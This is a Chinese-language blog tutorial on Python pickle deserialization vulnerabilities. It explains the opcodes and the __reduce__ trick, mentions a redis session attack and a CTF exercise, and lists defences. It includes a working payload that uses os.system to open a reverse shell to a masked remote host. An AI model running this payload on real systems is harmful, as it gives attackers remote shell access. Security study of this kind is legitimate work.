python反序列化之pickle

Posted by CoCo1er on 2019-09-23
Words 1.8k and Reading Time 6 Minutes
Viewed Times

python反序列化之pickle

python反序列化

首先要提到什么是反序列化?

​ 序列化和反序列化是将一个类对象向字节流转化从而进行存储和传输,然后使用的时候再将字节流转化回原始的对象的一个过程。

简单来说

​ python数据转化成字符串——-序列化

​ 字符串转化成python数据——-反序列化

序列化的几种形式

  • json模块——json所有的语言都通用,它能序列化的数据是有限的:字典列表和元组

  • pickle模块——是python特有的,只有python能理解;所有的python中的数据类型都可以转化成字符串形式;且部分反序列化依赖代码

  • shelve——序列化句柄;使用句柄直接操作非常方便

pickle介绍

​ pickle是python语言的一个标准模块,安装python后已包含pickle库,不需要单独再安装。

​ pickle模块实现了基本的数据序列化和反序列化。通过pickle模块的序列化操作我们能够将程序中运行的对象信息(直接对内存中的数据操作)保存到文件中去,永久存储;通过pickle模块的反序列化操作,我们能够从文件中创建上一次程序保存的对象。

序列化操作

首先看一个实例

简而言之

序列化操作:

1
pickle.dump()

反序列化操作:

1
pickle.load()

其中第一次dump将python数据(类)转化成了如下字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ccopy_reg
_reconstructor
p0
(c__main__
Test
p1
c__builtin__
object
p2
Ntp3
Rp4
(dp5
S'var1'
p6
S'This is a test'
p7
sb.

第二次执行load将字符串转化成了python数据(类)

​ 上面那一堆乱七八糟的字符串是什么?这其实就是序列化后得到的字符串,只是它有它自己特定的表示规则(这是 PVM 虚拟机可以识别的有特殊含义的符号)。如果有了解 PHP 反序列化就能知道这其实大同小异。因为 PHP 也是将类名和对象的属性序列化进去的。

我们将代码改改

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

class Test(object):
def __init__(self,var1="This is a test"):
self.var1 = var1

def func1(self):
print("hello world!")

a = Test()
b = pickle.dumps(a)
c = pickle.loads(b)
c.func1()

可以看到我们反序列化的确得到了一个实例化的类,并且还可以调用其中的函数。

最后简单解释一下序列化后的格式的规则:(部分PVM 操作码)

S : 后面跟的是字符串

( :作为命令执行到哪里的一个标记

t :将从 t 到标记的全部元素组合成一个元祖,然后放入栈中

c :定义模块名和类名(模块名和类名之间使用回车分隔)

R :从栈中取出可调用函数以及元组形式的参数来执行,并把结果放回栈中

. :点号是结束符

注意:其实并不是所有的对象都能使用 pickle 进行序列化和反序列化,比如说 文件对象和网络套接字对象以及代码对象就不可以(TypeError: can’t pickle file objects)

python反序列化漏洞由来

​ 反序列化漏洞是如何产生的?其实很简单,python库诸如pickle只提供序列化和反序列化的操作,但是并不会对传入反序列化函数的内容进行安全检查,如此以来如果能够传入恶意序列化对象,那么在反序列化触发的时候就可能执行恶意指令。

典型的运用:redis+pickle

​ 典型的一个运用redis未授权访问+python反序列化,这里参考p神的博文

​ 由于session是被pickle序列化后存储在服务器端,通过cookie请求sessionid的时候,session中的内容就会被反序列化。利用redis未授权访问可以set重置自己的session,替换成恶意payload即可执行任意命令。

python反序列化漏洞利用

​ 前面介绍了pickle,这里我也以pickle为例来简单介绍一下如何构造反序列化的payload

首先补充一个内容经典类/新式类 参考链接

从上述链接中获知,在python2中我们如果需要利用到__reduce__方法需要采用新式类的形式。

__reduce__

​ 当序列化以及反序列化的过程中碰到一无所知的扩展类型( 这里指的就是新式类)的时候,可以通过类中定义的 reduce 方法来告知如何进行序列化或者反序列化

​ 也就是说我们,只要在新式类中定义一个 reduce 方法,我们就能在序列化的使用让这个类根据我们在 reduce 中指定的方式进行序列化,此时如果我们注入了这个序列化字符串后,在被应用程序自身执行反序列化操作时也会按照reduce来执行反序列化,从而实现了反序列化攻击。

​ 那我们该如何指定呢?实际上关键就在这个方法的返回值上,这个方法可以返回两种类型的值,String 和 tuple ,我们的构造点就在令其返回 tuple 的时候。

​ 当他返回值是一个元组的时候,可以提供2到5个参数,我们重点利用的是前两个,第一个参数是一个callable object(可调用的对象),第二个参数可以是一个元组为这个可调用对象提供必要的参数。

听着有些抽象,来看一个实例运用(PS:元组中只有单个元素,需要以逗号结尾表名元组类型)

这里就非常明朗了,对于一个应用程序(python),如果它的pickle.loads(a)参数可控,那么就可以实现任意命令执行。(我们可以将命令换成python -c “执行的python代码”,也可以采用marshal库来实现,这里不做具体介绍,结尾给出参考链接)

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import os


str = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xxx.xx.xx",40009));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""

class payload(object):
def __reduce__(self):
return (os.system, (str,))


a = pickle.dumps(payload())
pickle.loads(a)
  • vps监听40009端口
  • kali中运行此脚本,vps接收反弹shell

题目练习

来自BUUCTF收录的[CISCN2019 华北赛区 Day1 Web2]ikun

如何防御

  • 不要再不守信任的通道中传递 pcikle 序列化对象
  • 在传递序列化对象前请进行签名或者加密,防止篡改和重播
  • 如果序列化数据存储在磁盘上,请确保不受信任的第三方不能修改、覆盖或者重新创建自己的序列化数据
  • 将 pickle 加载的数据列入白名单

参考

更多利用以及原理请参考

一篇文章带你理解漏洞之 Python 反序列化漏洞

记CTF比赛中发现的Python反序列化漏洞

Python Pickle的任意代码执行漏洞实践和Payload构造